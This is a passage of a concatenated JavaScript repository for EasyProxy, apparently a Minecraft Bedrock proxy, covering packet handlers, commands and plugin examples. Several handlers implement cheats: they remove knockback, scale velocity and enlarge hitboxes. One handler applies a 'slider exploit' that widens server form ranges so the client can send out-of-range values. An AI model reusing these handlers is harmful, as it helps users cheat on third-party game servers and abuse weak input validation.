!== "inventory")return; 12 | for (let i = 0; i < packet.params.input.length; i++){ 13 | let item=packet.params.input[i]; 14 | Player.getInventory().setItemBySlot(i, new Item({ 15 | window_id: 'inventory', 16 | slot: i, 17 | item: item, 18 | })); 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /software/src/effect/Effect.js: -------------------------------------------------------------------------------- 1 | class Effect 2 | { 3 | id; 4 | duration; 5 | amplifier; 6 | visible; 7 | 8 | constructor(id, duration, amplifier = 0, visible = false) 9 | { 10 | this.id=id; 11 | this.duration=duration; 12 | this.amplifier=amplifier; 13 | this.visible=visible; 14 | } 15 | 16 | getID() 17 | { 18 | return this.id; 19 | } 20 | 21 | getDuration() 22 | { 23 | return this.duration; 24 | } 25 | 26 | getAmplifier() 27 | { 28 | return this.amplifier; 29 | } 30 | 31 | isVisible() 32 | { 33 | return this.visible; 34 | } 35 | } 36 | module.exports = Effect; -------------------------------------------------------------------------------- /software/src/network/send/ResourcePackClientResponse.js: -------------------------------------------------------------------------------- 1 | const PackManager = require("../../pack/PackManager"); 2 | module.exports = { 3 | name: "resource_pack_client_response", 4 | 5 | /** 6 | * @param player {Player} 7 | * @param packet {Packet} 8 | */ 9 | send(player, packet) 10 | { 11 | let step = packet.params.response_status; 12 | switch (step){ 13 | case "send_packs": 14 | let packs = PackManager.getAll(); 15 | PackManager.download(player); 16 | break; 17 | case "have_all_packs": 18 | break; 19 | default: 20 | break; 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /software/src/pack/types/PackManifest.js: -------------------------------------------------------------------------------- 1 | class PackManifest 2 | { 3 | name; 4 | version; 5 | uuid; 6 | 7 | /** 8 | * @param pack {ResourcePack} 9 | * @param obj {Object} 10 | */ 11 | constructor(pack, obj) 12 | { 13 | obj = JSON.parse(obj); 14 | this.name=obj["header"].name; 15 | this.version=obj["header"].version.join('.'); 16 | this.uuid=obj["header"].uuid; 17 | } 18 | 19 | getName() 20 | { 21 | return this.name; 22 | } 23 | 24 | getVersion() 25 | { 26 | return this.version; 27 | } 28 | 29 | getUuid() 30 | { 31 | return this.uuid; 32 | } 33 | } 34 | module.exports = PackManifest; -------------------------------------------------------------------------------- /software/index.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const EasyProxy = require("./src/EasyProxy"); 16 | new EasyProxy(require('../server.json')); -------------------------------------------------------------------------------- /software/src/utils/TitleTask.js: -------------------------------------------------------------------------------- 1 | const Task = require("../task/Task"); 2 | const TaskManager = require("../task/TaskManager"); 3 | const VersionInfo = require("../VersionInfo"); 4 | const ServerInfo = require("../ServerInfo"); 5 | 6 | class TitleTask extends Task 7 | { 8 | constructor() 9 | { 10 | let data = {}; 11 | data["name"]=VersionInfo.NAME; 12 | data["version"]=VersionInfo.VERSION; 13 | 14 | 15 | super(TaskManager.TYPE_REPEAT, 1000, data); 16 | } 17 | 18 | onRun() 19 | { 20 | process.title = `${this.data["name"]} ${this.data["version"]} | Online ${ServerInfo.getServer().getOnlinesPlayers()} | Memory ${process.memoryUsage.rss()}`; 21 | } 22 | } 23 | module.exports = TitleTask; -------------------------------------------------------------------------------- /software/src/command/Command.js: -------------------------------------------------------------------------------- 1 | class Command 2 | { 3 | name; 4 | description; 5 | usage; 6 | aliases = []; 7 | 8 | constructor(name, description, usage = `${name} `, aliases = []) 9 | { 10 | this.name=name; 11 | this.description=description; 12 | this.usage=usage; 13 | if(aliases !== undefined) this.aliases=aliases; 14 | } 15 | 16 | getName() 17 | { 18 | return this.name; 19 | } 20 | 21 | getDescription() 22 | { 23 | return this.description; 24 | } 25 | 26 | getUsage() 27 | { 28 | return this.usage; 29 | } 30 | 31 | getAliases() 32 | { 33 | return this.aliases; 34 | } 35 | } 36 | module.exports = Command; -------------------------------------------------------------------------------- /software/src/command/default/ProxyCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const ServerInfo = require("../../ServerInfo"); 3 | class ProxyCommand extends Command 4 | { 5 | constructor() { 6 | super("proxy", "Display the list of available commands."); 7 | } 8 | 9 | onRun(player, args) 10 | { 11 | player.sendMessage(`§a--- Displaying the help page ---`); 12 | let commands = ServerInfo.getServer().getCommandMap().getAll(); 13 | commands.forEach((command) => { 14 | if(command !== this){ 15 | player.sendMessage(`/${command.getName()} <${command.getUsage()}> §7- §r§o${command.getDescription()}`); 16 | } 17 | }); 18 | } 19 | } 20 | module.exports = ProxyCommand; -------------------------------------------------------------------------------- /software/src/effect/EffectIds.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | SPEED: 1, 3 | SLOWNESS: 2, 4 | HASTE: 3, 5 | MINING_FATIGUE: 4, 6 | STRENGTH: 5, 7 | INSTANT_HEALTH: 6, 8 | INSTANT_DAMAGE: 7, 9 | JUMP_BOOST: 8, 10 | NAUSEA: 9, 11 | REGENERATION: 10, 12 | RESISTANCE: 11, 13 | FIRE_RESISTANCE: 12, 14 | WATER_BREATHING: 13, 15 | INVISIBILITY: 14, 16 | BLINDNESS: 15, 17 | NIGHT_VISION: 16, 18 | HUNGER: 17, 19 | WEAKNESS: 18, 20 | POISON: 19, 21 | WITHER: 20, 22 | HEALTH_BOOST: 21, 23 | ABSORPTION: 22, 24 | SATURATION: 23, 25 | LEVITATION: 24, 26 | FATAL_POISON: 25, 27 | CONDUIT_POWER: 26, 28 | SLOW_FALLING: 27, 29 | BAD_OMEN: 28, 30 | VILLAGE_HERO: 29, 31 | }; -------------------------------------------------------------------------------- /software/src/network/receive/StartGamePacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "start_game", 3 | 4 | receive(Player, packet) 5 | { 6 | Player.setPosition({x: packet.params.player_position.x, y: packet.params.player_position.y, z: packet.params.player_position.z, world: packet.params.world_name, pitch: 0, yaw: 0}); 7 | Player.setGamemode(packet.params.player_gamemode); 8 | Player.setUniqueID(packet.params.runtime_entity_id); 9 | Player.getWorldManager().setDimension(packet.params.dimension); 10 | Player.getWorldManager().setSpawnPosition(packet.params.spawn_position); 11 | Player.getWorldManager().setGamerule(packet.params.gamerules); 12 | Player.setGameVersion(packet.params.game_version); 13 | } 14 | } -------------------------------------------------------------------------------- /software/src/network/send/LevelSoundEventPacket.js: -------------------------------------------------------------------------------- 1 | const SetEntityMotionPacket = require("../../packet/SetEntityMotionPacket"); 2 | module.exports = { 3 | name: "level_sound_event", 4 | 5 | /** 6 | * @param Player {Player} 7 | * @param packet {Packet} 8 | */ 9 | send(Player, packet) 10 | { 11 | /* 12 | * // TODO: Why minecraft ? (packet not send) 13 | * if(packet.params.sound_id === "AttackNoDamage"){ 14 | if((Player.getCheatManager().isReach() && Player.getCheatManager().hasAttackPossible())){ 15 | Player.getCheatManager().setHasAttackPossible(false); 16 | Player.attack(Player.getCheatManager().getAttackPossible().id); 17 | } 18 | }*/ 19 | } 20 | } -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 14 | -------------------------------------------------------------------------------- /software/src/network/send/EmotePacket.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const EventManager = require("../../event/EventManager"); 4 | const PlayerEmoteEvent = require("../../event/list/send/PlayerEmoteEvent"); 5 | module.exports = { 6 | name: "emote", 7 | 8 | send(Player, packet) 9 | { 10 | const EventManager = require("../../event/EventManager"); 11 | let events = EventManager.getALl(); 12 | events.forEach((event) => { 13 | try { 14 | let listener = new PlayerEmoteEvent(Player, packet); 15 | event.onPlayerEmote(listener); 16 | if(listener.isCancelled()){packet = null; return false;} 17 | }catch (e){} 18 | }); 19 | } 20 | } -------------------------------------------------------------------------------- /software/src/event/list/send/PlayerEmoteEvent.js: -------------------------------------------------------------------------------- 1 | const Event = require('../../Event'); 2 | class PlayerEmoteEvent extends Event 3 | { 4 | constructor(Player, packet) { 5 | super(Player, packet); 6 | } 7 | 8 | getPlayer() 9 | { 10 | return super.getPlayer(); 11 | } 12 | 13 | /** 14 | * @return {number} 15 | */ 16 | getEntityId() 17 | { 18 | return this.packet.params.entity_id; 19 | } 20 | 21 | /** 22 | * @return {string} 23 | */ 24 | getEmoteId() 25 | { 26 | return this.packet.params.emote_id; 27 | } 28 | 29 | /** 30 | * @return {number} 31 | */ 32 | getFlags() 33 | { 34 | return this.packet.params.flags; 35 | } 36 | 37 | } 38 | module.exports = PlayerEmoteEvent; -------------------------------------------------------------------------------- /software/src/network/receive/EntityEvent.js: -------------------------------------------------------------------------------- 1 | const ServerInfo = require("../../ServerInfo"); 2 | 3 | let packet = false; 4 | let time; 5 | 6 | module.exports = { 7 | name: "entity_event", 8 | 9 | receive(Player, packet) 10 | { 11 | let entity_id = packet.params.runtime_entity_id; 12 | if(packet.params.event_id === "hurt_animation" && entity_id === Player.getUniqueID()){ 13 | packet = true; 14 | time = Date.now(); 15 | }else if(packet.params.event_id === "arm_swing" && entity_id !== Player.getUniqueID() && packet){ 16 | packet = false; 17 | if(Date.now() - time <= 1){ 18 | //Player.attack(entity_id); 19 | } 20 | //console.log(Date.now() - time); 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/index.js: -------------------------------------------------------------------------------- 1 | if (typeof process !== 'undefined' && parseInt(process.versions.node.split('.')[0]) < 14) { 2 | console.error('Your node version is currently', process.versions.node) 3 | console.error('Please update it to a version >= 14.x.x from https://nodejs.org/') 4 | process.exit(1) 5 | } 6 | 7 | const { Client } = require('./src/client') 8 | const { Server } = require('./src/server') 9 | const { Relay } = require('./src/relay') 10 | const { createClient, ping } = require('./src/createClient') 11 | const { createServer } = require('./src/createServer') 12 | const { Titles } = require('prismarine-auth') 13 | 14 | module.exports = { 15 | Client, 16 | Server, 17 | Relay, 18 | createClient, 19 | ping, 20 | createServer, 21 | title: Titles 22 | } 23 | -------------------------------------------------------------------------------- /software/src/network/receive/ResourcePackStack.js: -------------------------------------------------------------------------------- 1 | const PackManager = require("../../pack/PackManager"); 2 | module.exports = { 3 | name: "resource_pack_stack", 4 | 5 | /** 6 | * @param player {Player} 7 | * @param packet {Packet} 8 | */ 9 | receive(player, packet) 10 | { 11 | let packs = PackManager.getAll(); 12 | let dataTemp = { 13 | uuid: "0fba4063-dba1-4281-9b89-ff9390653530", 14 | version: "1.0.0", 15 | name: '' 16 | } 17 | if(!packet.params.resource_packs.includes(dataTemp)) packet.params.resource_packs.push(dataTemp); 18 | 19 | packs.forEach((pack) => packet.params.resource_packs.push({ 20 | uuid: pack.getPackUuid(), 21 | version: pack.getVersion(), 22 | name: '' 23 | })); 24 | } 25 | } -------------------------------------------------------------------------------- /software/src/network/receive/TransferPacket.js: -------------------------------------------------------------------------------- 1 | const Effect = require("../../effect/Effect"); 2 | const EffectId = require("../../effect/EffectIds"); 3 | const {EasyProxy} = require("../../EasyProxy"); 4 | const EasyProxyInfo = require("../../EasyProxyInfo"); 5 | module.exports = { 6 | name: "transfer", 7 | 8 | receive(Player, packet) 9 | { 10 | /*let address = packet.params.server_address; 11 | let port = packet.params.port; 12 | 13 | let transferAddress = "127.0.0.1"; 14 | let transferPort = EasyProxyInfo.getDefaultPort(); 15 | 16 | let easyProxy=new EasyProxy({ 17 | "address": transferAddress, 18 | "port": transferPort, 19 | "version": "1.19.50", 20 | 21 | "destHost": address, 22 | "destPort": port 23 | });*/ 24 | } 25 | } -------------------------------------------------------------------------------- /software/src/VersionInfo.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | module.exports = { 16 | NAME: "EasyProxy", 17 | VERSION: "1.1.4", 18 | IS_DEVELOPMENT_BUILD: true, 19 | 20 | "PROTOCOL_VERSION_1.19.51": 560, 21 | "PROTOCOL_VERSION_1.19.50": 560, 22 | } -------------------------------------------------------------------------------- /software/src/command/default/PluginHelpCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const PluginManager = require("../../plugin/PluginManager"); 4 | const TextFormat = require("../../format/TextFormat"); 5 | 6 | class PluginHelpCommand extends Command 7 | { 8 | constructor() { 9 | super("pluginhelp", "Display the list of available commands."); 10 | } 11 | 12 | onRun(player, args) 13 | { 14 | let pluginList = PluginManager.getAll(); 15 | pluginList.forEach((plugin) => { 16 | if(args[1].toLowerCase() === plugin.getName().toLowerCase()) { 17 | player.sendMessage(TextFormat.getPrefix() + `§aHere is the description of the plugin: §f` + plugin.getDescription()); 18 | } 19 | }); 20 | } 21 | } 22 | 23 | module.exports = PluginHelpCommand; -------------------------------------------------------------------------------- /software/src/command/default/PluginCommands.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const PluginManager = require("../../plugin/PluginManager"); 4 | const TextFormat = require("../../format/TextFormat"); 5 | class PluginCommands extends Command 6 | { 7 | constructor() { 8 | super("plugin", "Allows you to get a list of currently loaded plugins.", "", ["pl", "plugins"]); 9 | } 10 | 11 | onRun(player, args) 12 | { 13 | let pluginList = PluginManager.getAll(); 14 | let plugins = []; 15 | pluginList.forEach((plugin) => { 16 | plugins.push(plugin.getName()); 17 | }); 18 | let list = plugins.join("§f, §d"); 19 | player.sendMessage(TextFormat.getPrefix() + `§aHere is the plugin list §2(${plugins.length})§a: §d${list}`); 20 | } 21 | } 22 | module.exports = PluginCommands; -------------------------------------------------------------------------------- /software/src/network/receive/SetEntityMotion.js: -------------------------------------------------------------------------------- 1 | const {YELLOW} = require("../../format/TextFormat"); 2 | module.exports = { 3 | name: "set_entity_motion", 4 | 5 | /** 6 | * @param Player {Player} 7 | * @param packet {Packet} 8 | */ 9 | receive(Player, packet) 10 | { 11 | if(Player.getUniqueID() !== packet.params.runtime_entity_id)return; 12 | if(Player.getCheatManager().isKnockback()) packet.params.velocity = {x: 0, y: 0, z: 0}; 13 | if(Player.getCheatManager().isVelocity()){ 14 | let x = packet.params.velocity.x; 15 | let y = packet.params.velocity.y; 16 | let z = packet.params.velocity.z; 17 | packet.params.velocity = {x: x / (100 / Player.getCheatManager().getVelocityX()), y: y / (100 / Player.getCheatManager().getVelocityY()), z: z / (100 / Player.getCheatManager().getVelocityX())}; 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /software/src/task/TaskManager.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | let tasks = []; 16 | module.exports = { 17 | 18 | TYPE_DELAY: 0, 19 | TYPE_REPEAT: 1, 20 | 21 | register(task) 22 | { 23 | tasks.push(task); 24 | }, 25 | 26 | getAll() 27 | { 28 | return tasks; 29 | } 30 | } -------------------------------------------------------------------------------- /software/src/command/default/ListCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const TextFormat = require("../../format/TextFormat"); 3 | const VersionInfo = require("../../VersionInfo"); 4 | const ServerInfo = require("../../ServerInfo"); 5 | const PluginManager = require("../../plugin/PluginManager"); 6 | class ListCommand extends Command 7 | { 8 | constructor() { 9 | super("list", "List of all players connected to the proxy!!", "", []); 10 | } 11 | 12 | onRun(player, args) 13 | { 14 | let playersList = ServerInfo.getServer().getPlayers(); 15 | let players = []; 16 | playersList.forEach((player) => { 17 | players.push(player.getName()); 18 | }); 19 | let list = players.join(", "); 20 | player.sendMessage(`There are ${ServerInfo.getServer().getPlayers().length} player(s) connected:\n${list}`); 21 | } 22 | } 23 | module.exports = ListCommand; -------------------------------------------------------------------------------- /software/src/network/receive/ModalFormRequestPacket.js: -------------------------------------------------------------------------------- 1 | const {Server} = require("../../Server"); 2 | const ServerInfo = require("../../ServerInfo"); 3 | const Scoreboard = require("../../scoreboard/Scoreboard"); 4 | module.exports = { 5 | name: "modal_form_request", 6 | 7 | /** 8 | * @param player {Player} 9 | * @param packet {Packet} 10 | */ 11 | receive(player, packet) 12 | { 13 | if (player.getPocketMineExploitManager().isSliderExploit()) { 14 | let data = JSON.parse(packet.params.data); 15 | if (data.type !== "custom_form") return; 16 | data.content.forEach((key) => { 17 | if (key.type === "slider") { 18 | key.min = -50; 19 | key.max = 50; 20 | } 21 | if (key.type === "step_slider") key.steps = ['-50', "50"]; 22 | }); 23 | packet.params.data = JSON.stringify(data); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /software/help/for-dev/ScoreboardExemple/src/Scoreboard/Events.js: -------------------------------------------------------------------------------- 1 | const ServerInfo = require("../../../../../src/ServerInfo"); 2 | const TextFormat = require("../../../../../src/format/TextFormat"); 3 | const SimpleForm = require("../../../../../src/form/SimpleForm"); 4 | const Scoreboard = require("../../../../../src/scoreboard/Scoreboard"); 5 | const ScoreboardTask = require("./task/ScoreboardTask"); 6 | const TaskManager = require("../../../../../src/task/TaskManager"); 7 | const EasyProxyInfo = require("../../../../../src/EasyProxyInfo"); 8 | const {Player} = require("../../../../../src/player/Player"); 9 | 10 | class Events 11 | { 12 | /* 13 | Send form when player join 14 | */ 15 | /** 16 | * @param event {PlayerJoinEvent} 17 | */ 18 | onPlayerJoin(event) 19 | { 20 | let scoreboard = new Scoreboard(event.getPlayer()); 21 | let task = new ScoreboardTask(TaskManager.TYPE_REPEAT, 1000, [scoreboard, event.getPlayer()]); 22 | } 23 | } 24 | module.exports = Events; -------------------------------------------------------------------------------- /software/src/packet/UpdateAbilitiesPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class UpdateAbilitiesPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | create() 26 | { 27 | this.player.getBedrockPlayer().queue("update_abilities", this.player.abilities); 28 | } 29 | } 30 | 31 | module.exports = UpdateAbilitiesPacket; -------------------------------------------------------------------------------- /software/src/network/receive/SetEntityDataPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "set_entity_data", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | receive(Player, packet) 9 | { 10 | if(!Player.getCheatManager().isHitbox())return; 11 | packet.params.metadata.pop({ 12 | key: 'boundingbox_width', 13 | type: 'float', 14 | value: 0.6000000238418579 15 | }, 16 | { 17 | key: 'boundingbox_height', 18 | type: 'float', 19 | value: 1.7999999523162842 20 | },); 21 | packet.params.metadata.push({ 22 | key: 'boundingbox_width', 23 | type: 'float', 24 | value: Player.getCheatManager().getWidth() 25 | }, 26 | { 27 | key: 'boundingbox_height', 28 | type: 'float', 29 | value: Player.getCheatManager().getHeight() 30 | }); 31 | } 32 | } -------------------------------------------------------------------------------- /software/src/fakePlayer/FakePlayer.js: -------------------------------------------------------------------------------- 1 | const bedrock = require('bedrock-protocol'); 2 | 3 | class FakePlayer 4 | { 5 | name; 6 | username; 7 | address; 8 | port; 9 | 10 | constructor(name, address, port) 11 | { 12 | this.name=name; 13 | this.address=address; 14 | this.port=port; 15 | 16 | this.client = bedrock.createClient({ 17 | host: address, 18 | port: port, 19 | skipPing: true, 20 | offline: false, 21 | username: name, 22 | connectTimeout: 2500 23 | }); 24 | 25 | this.username = this.client.username; 26 | } 27 | 28 | getAddress() 29 | { 30 | return this.address; 31 | } 32 | 33 | getPort() 34 | { 35 | return this.port; 36 | } 37 | 38 | getName() 39 | { 40 | return this.name; 41 | } 42 | 43 | getUsername() 44 | { 45 | this.username; 46 | } 47 | 48 | disconnect() 49 | { 50 | this.client.close(); 51 | } 52 | } 53 | module.exports = FakePlayer; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/docs/FAQ.md: -------------------------------------------------------------------------------- 1 | ## Can’t connect to localhost Win10 server with Minecraft Win10 Edition 2 | 3 | This issue occurs due to loopback restrictions on Windows 10 UWP apps. To lift this restriction, launch Windows PowerShell as an administrator and run the following: 4 | 5 | ```ps 6 | CheckNetIsolation LoopbackExempt -a -n="Microsoft.MinecraftUWP_8wekyb3d8bbwe" 7 | ``` 8 | 9 | If you are running a preview or beta release, you can run the following command to unlock that version: 10 | 11 | ```ps 12 | CheckNetIsolation LoopbackExempt -a -n="Microsoft.MinecraftWindowsBeta" 13 | ``` 14 | 15 | If that still doesn't work, you can inspect what Minecraft versions are available on your system with: 16 | 17 | ```ps 18 | Get-AppxPackage -AllUsers | Where Name -Match ".*Minecraft.*" | Select Name,InstallLocation,PackageFullName 19 | ``` 20 | 21 | Use the PackageFullName field in place of the `Microsoft.MinecraftUWP_8wekyb3d8bbwe` for the command above. 22 | 23 | ## Kicked during login 24 | 25 | Some servers can kick you if you don't set `authTitle` as explained in the README. 26 | -------------------------------------------------------------------------------- /software/src/packet/RemoveEntityPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | class RemoveEntityPacket 16 | { 17 | player; 18 | 19 | /** @param Player {Player} */ 20 | constructor(Player) 21 | { 22 | this.player=Player; 23 | } 24 | 25 | /** 26 | * @param id {number} 27 | */ 28 | create(id) 29 | { 30 | this.player.getBedrockPlayer().queue('remove_entity', { 31 | entity_id_self: id 32 | }); 33 | } 34 | } 35 | 36 | module.exports = RemoveEntityPacket; -------------------------------------------------------------------------------- /software/src/command/default/AboutCommand.js: -------------------------------------------------------------------------------- 1 | const Command = require('../Command'); 2 | const TextFormat = require("../../format/TextFormat"); 3 | const VersionInfo = require("../../VersionInfo"); 4 | class AboutCommand extends Command 5 | { 6 | constructor() { 7 | super("about", "Gets the version of this server, including the plugins used!", "", ["version", "ver"]); 8 | } 9 | 10 | onRun(player, args) 11 | { 12 | let SOFTWARE = `This server runs ${TextFormat.GREEN}${VersionInfo.NAME}`; 13 | if(VersionInfo.IS_DEVELOPMENT_BUILD) SOFTWARE += `${TextFormat.ITALIC}${TextFormat.GRAY}+${TextFormat.DARK_GREEN}dev`; 14 | player.sendMessage(SOFTWARE); 15 | player.sendMessage(`Server version: ${TextFormat.GREEN}${VersionInfo.VERSION}`); 16 | player.sendMessage(`Minecraft Compatible Version: ${TextFormat.GREEN}${Player.getGameVersion()} ${TextFormat.DARK_GREEN}(protocol ${VersionInfo[`PROTOCOL_VERSION_${Player.getGameVersion()}`]})`); 17 | player.sendMessage(`NodeJS version: ${TextFormat.GREEN}${process.version}`); 18 | } 19 | } 20 | module.exports = AboutCommand; -------------------------------------------------------------------------------- /software/help/for-dev/JoinForm/src/JoinForm/Events.js: -------------------------------------------------------------------------------- 1 | const ServerInfo = require("../../../../../src/ServerInfo"); 2 | const TextFormat = require("../../../../../src/format/TextFormat"); 3 | const SimpleForm = require("../../../../../src/form/SimpleForm"); 4 | 5 | class Events 6 | { 7 | /* 8 | Send form when player join 9 | */ 10 | /** 11 | * @param event {PlayerJoinEvent} 12 | */ 13 | onPlayerJoin(event) 14 | { 15 | let player = event.getPlayer(); 16 | let form = new SimpleForm(function (player, data) { 17 | switch (data){ 18 | case 0: 19 | player.sendMessage("Boutton 1 clicked"); 20 | break; 21 | case 1: 22 | player.sendMessage("Boutton 2 clicked"); 23 | break; 24 | } 25 | }); 26 | form.setTitle("Easy Proxy"); 27 | form.setContent("Welcome on Easy Proxy!\nHow are you?"); 28 | form.addButton("I'm great"); 29 | form.addButton("I'm bad"); 30 | player.sendForm(form); 31 | } 32 | } 33 | module.exports = Events; -------------------------------------------------------------------------------- /software/src/utils/WebHook.js: -------------------------------------------------------------------------------- 1 | const XMLHttpRequest = require('xhr2'); 2 | const request = new XMLHttpRequest(); 3 | class WebHook 4 | { 5 | url; 6 | 7 | username; 8 | avatar_url; 9 | content; 10 | 11 | constructor() {} 12 | 13 | /** 14 | * @param url {string} 15 | */ 16 | setUrl(url) 17 | { 18 | this.url=url; 19 | } 20 | 21 | /** 22 | * @param name {string} 